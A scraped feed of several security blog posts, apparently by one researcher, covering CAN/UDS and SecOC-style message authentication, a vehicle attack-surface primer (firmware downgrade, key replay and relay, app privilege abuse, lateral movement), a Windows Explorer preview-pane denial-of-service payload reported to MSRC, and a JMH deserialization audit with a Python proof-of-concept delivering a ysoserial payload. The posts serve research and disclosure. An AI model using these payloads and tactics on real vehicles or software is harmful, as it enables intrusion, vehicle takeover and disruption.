a. Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B) //拼接输入

b. Full_Tag_calc = CMAC(key, Input_calc) //计算CMAC

c. Tag16_calc = Truncate(Full_Tag_calc, 16) //取前两个字节

4.比较 Tag16_calc (0x0102) 和 Tag16_recv (0x0102)，通过则下一步，不通过丢弃

5.检查时间片：比较Time_Stamp_recv和接收端自己的My_Time_Stamp，通过则下一步，不通过丢弃

6.检查计数器：接收端预期下一个计数器是 0x0B，收到的ctr_recv是0x0B，通过则执行动作，不通过丢弃

7.更新 last_valid_ctr = ctr_recv

接收示例流程图

flowchart TD
    A[收到业务帧s] --> B{受保护帧?}
    B -- 否 --> C[提交应用层]
    B -- 是 --> D[缓存数据并启动定时器]
    D --> E{收到影子认证帧?}
    E -- 超时 --> F[丢弃帧s]
    E -- 收到 --> G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]
    G --> H[计算Tag16_calc]
    H --> I{标签验证?}
    I -- 失败 --> J[认证失败→丢弃]
    I -- 成功 --> K{时间片有效?}
    K -- 无效 --> L[时间片无效→丢弃]
    K -- 有效 --> M{计数器有效?}
    M -- 无效 --> N[计数器无效→丢弃]
    M -- 有效 --> O[验证成功]
    O --> P[提交应用层]
    O --> Q[更新last_valid_ctr]
    F --> R[清理缓存]
    J --> R
    L --> R
    N --> R
    P --> R
    Q --> R
    subgraph 示例数据
        S[业务帧: ID=0x100, Data=0100000000000000]
        T[影子认证帧: ID=0x200, Data=0B010203AAAAAAAA]
        U[提取: ctr=0x0B, Time_Stamp=0x03]
    end

总结

本方案结合了之前的项目，有成功落地的案例，并在此基础上做了优化，后面可以根据自身情况更改、删减一些做不到的或根据自身条件增加更多的验证

最后，别感冒

]]> 车联网车联网博客新增评论功能 /2024/12/08/114/ 考虑了很久还是决定加一个评论功能，为了防止被骂所以用了utterances，评论需要先登录，这样谁骂我我就能看得一清二楚

而且恶评还可以删

另外加了个RSS和文章封面

]]> 博客大事件博客大事件车联网安全入门指南 /2024/11/08/113/ 前言

我觉得接触车联网更重要的是要先学会CAN总线的知识，所以就从CAN（UDS方向）开始好了，为了避免浪费大家时间，先放出目录：

下面正式开始

车都是怎么通信的？

车内CAN通信

早期的汽车控制

在很久以前车刚被造出来的时候，功能单一，只有踏板离合转向控制，其中离合器通过机械连接传递发动机的动力，而制动系统则通过简单的机械连接（比如开关）来控制制动动作。随着单片机的普及，车内功能越来越复杂，零部件越来越多，简单的机械控制已经满足不了车辆的运行，于是CAN总线（Controller Area Network）诞生了。

CAN总线

大量的ECU（Electronic Control Unit）被引入汽车，为了管理和协调这些ECU之间的通信，博世公司在1983年开发了控制器区域网络系统，也就是CAN总线。CAN的首次应用是在奔驰500E的车型上。下图为比较经典的CAN架构示例

CAN高低

车上的CAN总线通常为双绞线，两根线分别是高电平数据传输线和低电平数据传输线，也就是平常说的CAN_H（CAN_High）和CAN_L（CAN_Low）。

两根线的主要原因是为了实现差分信号传输，增强抗干扰能力和提高数据传输的稳定性，总的来说，这个设计是为了在复杂的电磁环境中实现稳定、可靠的数据传输，确保汽车电子控制系统的高效运行。

TIPS

有时候线束一大把却没有线束定义，可以参考口诀“黄高绿低”，即业内一般把黄线用作CAN高，绿线用作CAN低

CAN波特率

为了确保车内零部件之间数据传输的同步性和可靠性，CAN总线使用波特率来表示速率。CAN协议支持不同的通信速率，以满足不同的应用需求，低速CAN的通信速率范围为10~125kbps；高速CAN的通信速率范围为125kbps到1Mbps（这里的高低指的总线传输速率，不是CAN_H/CAN_L，CAN_H/CAN_L指的是连接CAN接口用来做数据交换的两根数据传输线）

CAN报文

扩展帧和标准帧

在总线中传送的报文，每帧由7部分组成。CAN协议支持两种报文格式：标准帧和扩展帧。标准格式的CANID为11位，扩展格式的CANID为29位，比如：

标准帧：ID区间是0x000-0x7FF（换算成10进制就是0-2047），7FF转换为二进制就是11111111111（11位）

扩展帧：ID区间是0x000000-0x1FFFFFFF（换算成10进制就是0-536870911），1FFFFFFF转换为二进制就是1111111111111111111111111111111（29位）

报文识别

请求

在CAN总线中，标识符用于定义报文的优先级和寻址，标识符后带的就是数据字段，按照预先设计开发的功能进行请求响应。以扩展帧18DBFFF1#0210030000000000为例，在数据部分中，报文格式可以进一步细分：

02：02 表示该帧的数据长度为 2 字节，意味着本次传输的数据实际只有 2 个字节，即1003。注意该帧需要随着请求的长度进行变化，要发送几个字节就是零几，比如发送10 03两个字节就是02 10 03，同理，发送27 02 11 22就是4个字节，用04 27 02 11 22；

1003：1003 是发送的数据内容，分为服务ID+参数。在UDS协议中，这是诊断服务的请求和参数。例如，10表示会话控制服务，03则是参数，表示具体的会话类型，1003即切换扩展模式；

0000000000：为了使数据字段达到CAN帧的标准8字节长度，填充部分设为00

响应

有请求就会有响应，CAN（UDS）的响应分为“肯定”和“否定”响应，否定响应的格式组成为数据长度帧+7F+具体响应码。以扩展帧18DBFFF1#0210030000000000为例，请求后的“肯定”响应为0250030000000000，意思是设备已切换到扩展模式；“否定”响应为037F101100000000（数据长度会随着响应内容长度变化），意思是10这个服务没有做进去；再举个例子：18DBFFF1#0227010000000000，请求后的“肯定”响应为0667011122334400，意思是请求的种子是111223344，“否定”响应为037F2711，意思是27这个服务没有做进去。下图为相关“否定”响应码的解释

观察“肯定”的响应报文我们会发现，服务ID会比发送的多40，比如发送27 01 ，响应则是67 01 ，发送1003，响应则是5003，了解这个规则有利于查找对应的响应报文，判断设备功能和通信状态

TIPS

以扩展帧的CAN通信为例，在不知道CANID的情况下，通常可以尝试先发送18DBFFF1确认通信地址，比如发送18DBFFF1，回复的是18DAF1EE，其中18DB回复对应的标识符18DA，回复的EE是通信ID，所以后续要跟EE进行通信，最终通信地址就是18DAEEF1：

1	`18DAEEF1#0210030000000000`

CAN通信

在大概了解CAN总线之后我们回归问题，车内零部件之间是怎么通过CAN通信的？

把整个架构看做是一个局域网，每个ECU当做一个节点，我们发现GW（网关）处于第一层。因为ECU处于不同CAN域以及协议不一致等原因，有些零部件需要通过GW来转发CAN报文。很多汽车中，通常还有一个VCU（整车控制器）也负责域内CAN转发。

以打开雨刮器为例：司机在方向盘或中控屏操作雨刮器开关后，首先面板会发出一段指令，这里假设是18DBFFF1#0000000000000000，指令会通过GW或VCU转发给雨刮器（看下方TIPS解释），雨刮器再做出肯定响应回复，然后开始执行动作；再举个打转向灯的例子，操作转向灯面板后，会通过GW或VCU发送18DBFFF1#0000000000000000（假设）给转向灯，转向灯回复肯定响应然后做出动作，并把状态信息通过GW或VCU转发给仪表，最终在仪表显示转向灯正在闪烁

TIPS

CAN的收发采用的是广播模式，不是单独给谁发送数据，也就是说，CAN总线上的消息是广播到所有节点的，节点会预先配置好要接收哪些ID的消息，只有当消息的ID符合节点配置的过滤器条件时，该节点才会处理这条消息。比如，假设有一个简单的CAN网络，包含三个节点A、B和C：

1
2
3

节点A配置为发送ID为0x100的消息。
节点B配置为接收ID为0x100的消息。
节点C配置为接收ID为0x200的消息。

在这种情况下：

当节点A发送ID为0x100的消息时，总线上的所有节点（包括节点B和节点C）都会接收到这条消息。

节点B会处理这条消息，因为它配置了接收ID为0x100的消息。

节点C不会处理这条消息，因为它配置了只接收ID为0x200的消息。

优先级

万一冲突了怎么办呢？在CAN总线通信中，冲突（即多个节点同时尝试发送数据）是通过一种称为“非破坏性仲裁”的机制来解决的

非破坏性仲裁机制

1、发送开始：

1	`当一个节点开始发送消息时，它会首先发送一个起始位（Start of Frame, SOF），然后是标识符（ID）。`

2、监听总线：

在发送过程中，每个节点都会监听总线上的信号。如果一个节点检测到总线上的电平与其发送的电平不一致，这意味着另一个节点也在发送消息，并且该节点发送的标识符具有更高的优先级。

3、仲裁过程：

仲裁基于标识符的值。标识符越小，优先级越高。如果两个节点同时发送消息，它们会在发送标识符的过程中进行仲裁。标识符是逐位发送的，当某个节点检测到其发送的位与总线上的位不一致时，它会立即停止发送并进入接收模式。

4、继续发送：

1	`优先级高的节点（即标识符较小的节点）会继续发送其消息。优先级低的节点会放弃发送，并等待下一个机会重新发送。`

上面整个仲裁过程是自动的，不需要人工干预，我们只要知道标识符越小，优先级越高就行

TIPS

说到这里，我们已经能发现一些问题了：节点根据优先级处理消息，那么攻击者可以通过一直高频发送高优先级的报文来占用通信通道，造成通道拥堵，最后导致业务无法正常通信、服务不可用，这类操作也俗称DOS（Denial Of Service）攻击

外部接口

OBD（On-Board Diagnostics）接口，即车载自动诊断系统接口，如果把一辆车当做是一台电脑，OBD则可以看做是一个USB接口，该接口可以用来连接车辆进行内部通信。乘用车（小轿车、9座以下小客车）通常在主驾位方向盘下方有且只有一个OBD接口。当然，也可能还存在其他暴露的连接线可以直接连接

商用车（客车、货车）则是不固定，一般位于方向盘下、副驾抽屉、副驾座椅底下等，如果是公交车，一般位于中控仪表下方。部分车可能还存在调试CAN接口，需要打开后盖查找

车载以太网通信

车内

车内以太网通信是一种在现代汽车中越来越受欢迎的技术，用于连接车辆内部的各种ECU和其他设备。与传统的车载网络（如CAN、LIN和MOST）相比，以太网提供了更高的带宽、更低的延迟以及更好的灵活性。车内以太网含有多种协议，下面以DoIP为例

DoIP

DoIP（Diagnostics over IP）是一种在以太网上进行车辆诊断的标准协议（基于TCP/IP协议栈）。其允许通过以太网接口进行车辆诊断和软件更新，具体的通信流程如下：

1、发现阶段：诊断设备发送广播请求，查询网络中的所有ECU。ECU响应请求，返回自己的逻辑地址和其他相关信息。

2、连接建立：诊断设备选择一个目标ECU，并与其建立TCP连接。通过TCP连接发送诊断请求和服务调用。

3、诊断通信：通过TCP连接进行诊断数据的交换，包括读取故障码、执行特定的诊断功能等。

4、断开连接：诊断完成后，关闭TCP连接。

TIPS

常见的还有HTTP、MQTT等等。。因为懒得打字整理的原因不一一解释了，负责的场景可能不一样，但是流程大体上差不多

车外

与车内通信不同，车外通信有多种场景，考虑人机交互，此处分为车云通信及无线遥控

车云

车云常见的有HTTP、MQTT、FTP协议，主要负责OTA升级、事件上报、远程控制等与云端交互的模块。涉及的场景一般在车机（也称IVI，In-Vehicle Infotainment车载信息娱乐系统）、APP

TIPS

车机一般不能直接上网（除了连接热点），通常依赖于TBOX（Telematics Box车载远程通信设备）的4G/5G模块。平时APP控制车辆、OTA升级都是通过TBOX来接收和处理指令的

无线射频

无线常见的技术有RF（传统的遥控钥匙（Remote Key Fob），用户按下钥匙上的按钮来解锁或锁定车辆）、NFC（Near Field Communication，如特斯拉卡片钥匙）、蓝牙（车机连接、无钥匙解锁车辆）等

TIPS

之前说的车内通信，除了CAN、LIN之外，一些零部件间也会用到无线技术，如TPMS胎压监测（Tire Pressure Monitoring System），大概流程就是类似每个轮胎内部或外部安装一个传感器，传感器测量轮胎的压力和温度，然后通过无线信号将这些数据发送到车辆的接收器

车的信息收集

了解了车的内外通信后，我们就可以把资产划分为几部分来做信息收集，按难度等级来做进一步测试：

1 2	`1、需要接触车辆的 2、不需要接触车辆的`

需要接触车辆

OBD接口：CAN、OBD转以太等等；
IVI：热点、蓝牙、系统服务等等；
USB接口：ADB等等；
零部件（需要拆卸车辆）：芯片、调试接口等等；
其他

不需要接触车辆：

1
2
3

云端：OTA平台、故障平台等等；
车控：APP、无线遥控等等；
其他

按照两种类型的资产划分，继续细分可以找出如下图所示的对应功能

按照功能划分，可以梳理出如下图所示不同层面的协议栈

车的攻击面

按照我们的测试目的，下一步就可以选出需要测试的资产。比如目的是为了拿到车辆权限，则可以划分出下图所示红框标出的几个不用拆车且容易攻击的功能资产

思路

WIFI：

通过扫描WIFI IP来探测系统开了什么服务，比如SSH、Telnet、FTP或ADB等调试端口，通过这些暴露面做进一步攻击，如可以尝试未授权访问、口令爆破等手段获取Shell权限。

USB：

有些USB接口只允许充电，不识别U盘，但有的USB接口不但识别U盘，还会自动执行U盘内的可执行脚本、执行特定名称或后缀的文件，所以可以对此行为发起文件名或后缀Fuzz尝试。除此之外，有的接口还可以直接连接到车内系统

APP：

许多车控APP里都有通过VIN码、手机号绑定或分享钥匙的功能，可以尝试通过APP的文章评论或其他页面获取个人信息，然后利用越权来分享钥匙，或绑定VIN码，从而控制车辆。当然，通过其他漏洞拿下服务器再控车也没毛病，这里只是大概说一下

IVI：

1
2
3

隐藏按钮 - 车机一般会有几个隐藏按钮，通过连续点击特定位置就可以打开有关调试工具或工程模式；
拨号暗码 - 除此之外，还可以通过拨号暗码（如*#xxxx#）来打开某些调试工具或工程模式；联网功能 - WIFI热点功能可参考上述说过的尝试。如果可以上传工具，可以上传如Tcpdump来抓取车机流量，有时候会存在很多未授权的链接可以利用；
APP - 车机里的APP有许多是车企自研的，可以脱下来反编译查看有无可利用的点

OTA：

1
2

固件篡改 - 可以在闲鱼或其他渠道获取特定车辆的固件然后进行篡改，把篡改的固件重新刷入车辆
固件降级 - 此方法适用于固件无法篡改时。类似WEB里的供应链攻击，在其他渠道获取固件后做分析，查看有可无利用的缺陷，有时候旧版本存在缺陷但是新版本没有，可以尝试刷入旧版本软件来利用

其他

还有一些要有复杂前提条件才能做测试的，比如需要拆卸车辆或需要得到某个东西的点：

调试接口 - 黑盒测试不会有引脚定义，可以通过查询芯片上的丝印（一般在datasheet文档）来测量引脚，找到调试接口后，如果是JTAG，则可以连接读取芯片数据，UART则可以登录内部系统（如果遇到需要密码，可以尝试修改bootargs来绕过）

固件提取 - 没有调试接口时，可以尝试把芯片吹下来使用编程器提取固件；

射频钥匙 - 拿到钥匙后可以尝试使用HackRF、bladeRF等来录制信号然后重放；

CAN - OBD接口（可能会存在OBD转以太）接入后可以测试UDS和重放等问题；

蓝牙 - 利用一些开发版实现中继（如BLE Relay）和重放

横向

前面说到IVI联网依赖于TBOX，所以一辆车里可能会存在多个网段，在拿到shell权限后可以尝试进行横向攻击（此时跟常规内网渗透无异，还需要考虑提权问题）

Tips

有时候电脑连接车机热点做横向渗透时会遇到网段隔离，可以利用反向思路通过让车机连接手机的热点来绕过隔离策略

案例

因为涉及保密，有些现实画面就不放出来了

案例一

拨号打开ADB，连接车机脱APK，在其中的一个APK中发现OBS硬编码，直接接管OBS，可以用来下发更新

翻看系统日志，找到升级日志，从日志中找到OTA下载地址

固件包解包重挂载后可以获取车机文件系统

案例二

逆向分析车控APK Frida hook 实现车辆功能控制

案例三

APK硬编码MQTT，连接可以监听到OTA升级包和所有车辆位置信息

案例四

因为保密关系，很多画面都是看到车或者零部件主板的，所以还有很多很好玩的东西（怎么解锁开车门控车什么的）就不一一分享了

常用工具

列举车辆测试常用工具集合

工具名称	是否开源	用途
IDA pro	否	二进制逆向分析
Wireshark	是	流量抓包
jadx-GUI	是	安卓逆向分析
Python	是	系统环境
Java	是	系统环境
GDB	是	二进制调试
GDBServer	是	二进制远程调试服务端
URH	是	射频
Tcpdump	是	流量抓包
Burpsuite	否	流量抓包
Nmap	是	端口扫描
nc	是	端口监听
adb	是	安卓debug
can-utils	是	Can收发库
Pcan	否	硬件工具-CAN收发器，可搭配pcanview、kali等
USBCAN	否	硬件工具-CAN收发器，可以搭配ZCANPro
CANoe	否	硬件工具-CAN收发器
MQTTX	是	MQTT客户端
Proxmark3	是	硬件工具-射频工具
ZCANPro	否	Windows CAN工具
Frida	是	hook
binwalk	是	固件分析
frp-client-server	是	内网穿透
Logic	是	协议分析
Firmadyne	是	固件分析
Firmware Analysis Toolkit	是	固件分析
Firmware Analysis Toolkit (FAT)	是	固件分析
Firmware-Mod-Kit (FMK)	是	固件分析
Jflash	是	jlink调试

这里只是列举了部分，实际还有很多，感兴趣的可以看下这个项目，刚转车联网安全的时候弄的基于ubuntu的集成系统，各种环境工具都在里面了，开箱即用：

1	`https://github.com/TianWen-Lab/TranSec`

Tips

转车联网安全干到现在已经有1年了，给人感觉最主要的还是需要有通信协议和二进制知识。有的名词解释因为人懒用的GPT生成的，注意辨别。车内通信除了CAN还有很多协议就不全写了，感兴趣的可以根据提到的名词去搜。文章的图不全是自己的，有的是网上+项目报告或者同事的

最后

也是一时兴起，写到后面感觉没啥兴趣写了，也有自己菜的一部分原因，不知道写啥了，等后面越来越牛逼了再补充吧。感谢天问实验室所有的同事给予的帮助。文中有不对的地方希望您可以想方设法联系到我然后帮忙指正。别骂，不好的评论我会删

]]> 车联网车联网 Windows file-explorer#preview-pane-previewers DOS /2024/05/27/110/ Start

One day. when I was using file-explorer#preview-pane-previewers’s feature.I found it would parse some HTML code. There fore, I discovered a denia of service vulnerability, after the vulnerability is triggered,all text editors (including any IDE code editors) will not function properly. Here is my environment and verification steps.

1 2	`System environment: Windows 11 23H2(Professional/Home Edition) Operating system version: 22631.3593`

Prepare the POC file in advance: create a new HTML file, enter payload in the file:

1	`<LINK REL="stylesheet" HREF="javascript:">`

and in the Explorer,enable the preview. Then select the POC file，the preview pane will parse the HTML, at this point, the resource manager will experience a 1-2 second stuck.

Finally, we use Nodepad (or other editors) to open the POC file and input any character at will,for example: aaa, after entering any character, the file content is as follows:

1	`<LINK REL="stylesheet" HREF="javascript:">aaa`

The time to trigger the vulnerability is coming! At this point, when we save the file, we will find that the text editor crashes, at this time, no text editor can be used normally, Unless the process ends in Task Manager, the lag will last for 10 minutes. After the editor returns to normal, you will find that the newly written content has not been saved.

By the way, if the initial content is <LINK REL="stylesheet" HREF="javascript:">aaa, theoretically the aaa character will appear in the preview, but the aaa character will not be displayed in the preview, which is not in line with science. After experiments, I found that it seems to be a denial of service caused by improper handling of the HREF attribute of LINK tag,the key trigger character is javascript:.

In addition to all editors (including IDE code editors, etc.) from running properly,after the vulnerability is triggered, renaming the POC file in the folder will also cause the resource manager to stop running, and cannot delete POC files.

Finally

Actually, this issue was first discovered on ‘everything’, and later it was discovered that ‘everything’ was using Windows Explorer.

This issue may will create other vulnerabilities as well.

Timeline

May 27, 2024: Report the issue to MSRC.
May 29, 2024: MSRC begins to deal with the issue.
June 1, 2024: MSRC assesses the risk level as low risk and shares this report with the team responsible for maintaining the product or service.

VIDEO

]]> 漏洞挖掘漏洞挖掘 A deserialization /2024/01/24/111/ Firstly

I would like to declare that this article can only serve as a learning approach for deserialization auditing and corresponding script writing, as it is actually difficult to exploit this vulnerability

Analysis

In the code (src/main/java/org/openjdk/jmh/runner/link/BinaryLinkServer.java L270), I found that ‘ois’ belongs to the handler method, which is a constructor, in here, is is initialized to socket.getInputStream():

public Handler(Socket socket) throws IOException {
    this.socket = socket;
    this.is = socket.getInputStream(); //here
    this.os = socket.getOutputStream();

    // eager OOS initialization, let the other party read the stream header
    oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE));
    oos.flush();
}

then the ‘socket’ data stream is encapsulated into ‘ois’:
L279

1
2
3

public void run() {
    try {
        ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE));

subsequently, the data stream was deserialized using ‘readObject’:
L287

1 2	`Object obj; while ((obj = ois.readObject()) != null) {`

It seems that this is a classic deserialization vulnerability,next, we need to find the entrance to make use of it.

Follow up and see that ‘Handler’ is called in ‘Acceptor’
L216

public Acceptor() throws IOException {
    listenAddress = getListenAddress();
    server = new ServerSocket(getListenPort(), 50, listenAddress);
}

@Override
public void run() {
    try {
        while (!Thread.interrupted()) {
            Socket clientSocket = server.accept();
            Handler r = new Handler(clientSocket); //here
            if (!handler.compareAndSet(null, r)) {
                throw new IllegalStateException("The handler is already registered");
            }

Acceptor is also a constructor, so check where it was called:
L206

}

acceptor = new Acceptor(); //here
acceptor.start();

handler = new AtomicReference<>();

It belongs to the “BinaryLinkServer” constructor,runSeparate called the ‘BinaryLinkServer’ method:
src/main/java/org/openjdk/jmh/runner/Runner.java
L584

private Multimap<BenchmarkParams, BenchmarkResult> runSeparate(ActionPlan actionPlan) {
    Multimap<BenchmarkParams, BenchmarkResult> results = new HashMultimap<>();

    if (actionPlan.getMeasurementActions().size() != 1) {
        throw new IllegalStateException("Expect only single benchmark in the action plan, but was " + actionPlan.getMeasurementActions().size());
    }

    BinaryLinkServer server = null;
    try {
        server = new BinaryLinkServer(options, out); //here

        server.setPlan(actionPlan);

        BenchmarkParams params = actionPlan.getMeasurementActions().get(0).getParams();

`runSeparate’ appears in the ‘runBenchmarks’ method:
L539

private Collection<RunResult> runBenchmarks(SortedSet<BenchmarkListEntry> benchmarks) throws RunnerException {
    out.startRun();

    Multimap<BenchmarkParams, BenchmarkResult> results = new TreeMultimap<>();
    List<ActionPlan> plan = getActionPlans(benchmarks); //Pay attention to this method, it will set 'Type' to 'FORKED'`

    etaBeforeBenchmarks(plan);

    try {
        for (ActionPlan r : plan) {
            Multimap<BenchmarkParams, BenchmarkResult> res;
            switch (r.getType()) {
                case EMBEDDED:
                    res = runBenchmarksEmbedded(r);
                    break;
                case FORKED:
                    res = runSeparate(r); //here
                    break;

There is a condition here that the ‘runSeparate’ method will only be call when the ‘Type’ is ‘FORKED’, but this is not a concern because in the ‘getActionPlans’ method above, ‘FORKED’ has been initialized as Type
L54

private List<ActionPlan> getActionPlans(Set<BenchmarkListEntry> benchmarks) {
    ActionPlan base = new ActionPlan(ActionType.FORKED);
Returning to the main topic, 'runBenchmarks' will be called by the 'internalRun' method
L309
   benchmarks.clear();
    benchmarks.addAll(newBenchmarks);
}

Collection<RunResult> results = runBenchmarks(benchmarks); //here

// If user requested the result file, write it out.
if (resultFile != null) {
    ResultFormatFactory.getInstance(

And ‘internalRun’ is called by the ‘run’ method, ‘run’ is a method of the ‘Runner’ class,
L182

public Collection<RunResult> run() throws RunnerException {
if (JMH_LOCK_IGNORE) {
    out.println("# WARNING: JMH lock is ignored by user request, make sure no other JMH instances are running");
    return internalRun();//here
}

final String tailMsg = " the JMH lock (" + JMH_LOCK_FILE + "), exiting. Use -Djmh.ignoreLock=true to forcefully continue.";

File lockFile;
try {
    lockFile = new File(JMH_LOCK_FILE);
    lockFile.createNewFile();

    // Make sure the lock file is world-writeable, otherwise the lock file created by current
    // user would not work for any other user, always failing the run.
    lockFile.setWritable(true, false);
} catch (IOException e) {
    throw new RunnerException("ERROR: Unable to create" + tailMsg, e);
}

try (RandomAccessFile raf = new RandomAccessFile(lockFile, "rw");
     FileLock lock = raf.getChannel().tryLock()) {
    if (lock == null) {
        // Lock acquisition failed, pretend this was the overlap.
        throw new OverlappingFileLockException();
    }
    return internalRun();//here

which is the entry point to ‘jmh’, we can see from the Sample that:
src/main/java/org/openjdk/jmh/samples/*
for example JMHSample_01_HelloWorld.java

 public static void main(String[] args) throws RunnerException {
        Options opt = new OptionsBuilder()
                .include(JMHSample_01_HelloWorld.class.getSimpleName())
                .forks(1)
                .build();

        new Runner(opt).run(); //here
    }

}

So now the entrance has been found, but there is one question, the trigger point for this vulnerability is a socket’s function, so we need to know his port before we can communicate:
in BinaryLinkServer class
L194

1
2
3

private int getListenPort() {
    return Integer.getInteger("jmh.link.port", 0);
}

It listens to all ports, which means the ports are random, but jmh.link.port can be specified by command or written in code: -Djmh.link.port=9090
Now, assuming we already know the port, can write a client that sends malicious data to it, after continuous improvement, a usable POC was ultimately obtained:
use python3 and ysoserial

import socket
import time

def connect_to_server():
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    host = "127.0.0.1"
    port = 9090

    max_attempts = 20
    attempts = 0

    while attempts < max_attempts:
        try:
            client_socket.connect((host, port))
            print(f"connect to {host}:{port}")
            return client_socket

        except socket.error as e:
            attempts += 1
            print(f"error,reconnect ({attempts}/{max_attempts}): {e}")
            time.sleep(1)

    print(f"error {host}:{port},reached maximum number of attempts")
    return None

client_socket = connect_to_server()

if client_socket:
    try:
        #Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser
        with open("cc6calc.ser", "rb") as file:
            while True:
                data_to_send = file.read(1024)
                if not data_to_send:
                    break
                client_socket.send(data_to_send)
        response_data = client_socket.recv(1024)
        print(f"Response received from the server: {response_data.decode('utf-8', 'replace')}")

    finally:
        client_socket.close()

Pasting dependencies in pom to simulate a real web environment：

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

Finally, be sure to run POC first before running the jmh project:

Run the src/main/java/org/openjdk/jmh/samples/JMHSample_01_HelloWorld.java

In summary, this is a deserialization issue caused by socket communication, to exploit this issue, it is necessary to know the port number and the POC must first run before the project, this is due to code reasons:

1
2
3

if (!handler.compareAndSet(null, r)) {
    throw new IllegalStateException("The handler is already registered");
}

After a while

I discovered a simpler attack scenario, when running “jmh” with the parameter “-Djmh.link.port=9090 -Djmh.ignoreLock=true” (and to use multiple “benchmarks”, this parameter must be added), it not only specifies the port, but also allows other “benchmarks” to be executed when the “jmh.lock” file exists, that is to say, by specifying these two parameters to the “jmh” project, I don’t have to restart the project to exploit the vulnerability, don’t worry about the POC execution order. As long as “benchmarks” are used, vulnerabilities will be triggered

Next, I will test “JMHSample_1_HelloWorld”, “JMHSample_2_BenchmarkModes”, “JMHSample_ 03_States”, “JMHSample_ 04_DefaultState”, and “JMHSample_ 05_StatesFixtures”

Run the project:

Run the POC:

After running POC, project the first benchmarks will report error:

But it’s not important, restart POC, run the other project, the subsequent benchmarks will trigger vulnerabilities:

For this, I have made some improvements to the POC, enable the script to continuously connect to the target port and send malicious data, no need to manually restart anything anymore, just wait for benchmarks to run:

import socket
import time

def connect_to_server():
    max_attempts = 100000 #Less than 10000 connections will not end the script, the purpose is to maintain a continuous connection
    attempts = 0

    while attempts < max_attempts:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = "127.0.0.1"
        port = 9090

        try:
            client_socket.connect((host, port))
            print(f"connect to {host}:{port}")
            return client_socket

        except socket.error as e:
            attempts += 1
            print(f"error,reconnect ({attempts}/{max_attempts}): {e}")
            time.sleep(1)

    print(f"error {host}:{port},reached maximum number of attempts")
    return None

#Even if the server closes the connection, it will not end the POC
while True:
    client_socket = connect_to_server()

    if client_socket:
        try:
#Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser
            with open("cc6calc.ser", "rb") as file:
                while True:
                    data_to_send = file.read(1024)
                    if not data_to_send:
                        break
                    client_socket.send(data_to_send)
            response_data = client_socket.recv(1024)
            print(f"response received from the server: {response_data.decode('utf-8', 'replace')}")

        finally:
            client_socket.close()

As I said before, this loophole is difficult to exploit and can only be used for learning.

]]> 代码审计代码审计车联网学习笔记1 /2023/12/18/104/ 记录一下转车联网安全后的学习，因为是刚接触，有些东西理解不够透彻或有误，后续会更新

报文审计

CRC

待记

SecOC机制

安全通讯模块。在原始CAN帧上面加入一些标识，在解析的时候先识别标识，再解析数据，否则认为数据是无效的，通俗一点就是发送CAN原始数据的时候进行加密，解析CAN原始数据的时候进行解密。

SecOC机制报文的CAN数据必须是CANFD格式的，CAN标准格式的实施不了SecOC机制，因为SecOC的加密信息需要占用8字节（传统CAN标准最多只有8字节报文，而CANFD最多能64）

DLC = 16

普通报文：
 ID         DLC                         DATA                                             
0x123       16      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
//全是有效数据

SecOC报文：
 ID         DLC                         DATA                                             
0x123       16      01 02 03 04 05 06 07 08 00 01 AD 3B 34 CF BC 67
//前8个是有效数据，9-10是新鲜度值，11-16是MAC值

DLC = 32

普通报文：
 ID         DLC                         DATA                                             
0x123       32      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
//全是有效数据

SecOC报文：
 ID         DLC                         DATA                                             
0x123       32      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 00 01 AD 3B 34 CF BC 67
//前24个是有效数据，24-25是新鲜度值，26-32是MAC值

可以看得出，一条用了SecOC机制的报文是由原始CAN数据、新鲜度值信息和 MAC值信息组成

报文识别

扩展帧和标准帧

18daxxxx 是扩展帧标识符
前两个字节是UDS标识符，后两个字节是子功能码
18DB
18DA
7DF 是标准帧标识符
7DF
7FF

报文解释（以标准帧为例）

1	`7DF#02 11 01 00 00 00 00`

7DF：CAN消息标识符
02：服务ID（从后面的功能ID开始数，有几个字节就是零几，比如11 01两个字节就是02，27 02 11 22就是4个字节，用04）
11：功能ID
01：数据ID（功能参数）
xx…: 数据报文

Can通信

发送报文11 01响应的是51 01，发送10 01响应的是50 01
观察报文的收发发现，服务端响应的报文里，功能ID会比发送的多40，比如发送27 01 ，响应则是67 01 ，发送22 f1，响应则是62 f1，了解这个规则有利于查找对应的响应报文

使用UDS诊断时先发送10 03切换模式（00为保留 01位默认模式 02为编程模式 03为扩展模式）

扩展帧18DBFFF1 寻址

先发送18DBFFF1确认通信地址，比如发送18DBFFF1，回复的是18DAF1EE，其中18DB回复对应的标识符18DA，回复的EE是通信ID，所以后续要跟EE进行通信，最终通信地址就是18DAEEF1

xx 7F xx（功能id）是否定响应，比如发送02 11 01 00 00 00 00 00，肯定响应是02 51 01 00 00 00 00 00，如果响应被否定，则是03 7F 11 12 00 00 00 00，其中11是请求的功能ID，12是响应码

响应码说明

0x12（子功能不支持）
0x13（报文长度错误或格式非法）
0x22（条件不满足，处于变编程状态）

结合响应码得知03 7F 11 12 00 00 00 00意思是返回了3个字节，响应内容为不支持11服务

主板

串口通信

调试口一般是RX TX GND，其中GND是地线，RX是接收，TX是发送，引脚线两端要对好，一般板子都会标明，如果没有标明，则用万用表测试。

1
2

通断档：黑表笔接到板子的电路或者金属上，红表笔依次触碰测试，如果响了就表示是地线
电压档：黑表笔接到板子的电路或者金属上，红表笔依次触碰测试，如果电压为0表示是地线

板子一般是12v，万用表调到20就够用了

测试JTAG或UART:查询芯片丝印，用万用表按照芯片datasheet测试引脚

目前复测过的漏洞（真实车零部件）：

CAN_FD软硬件强制复位：通过发送复位报文让设备重启

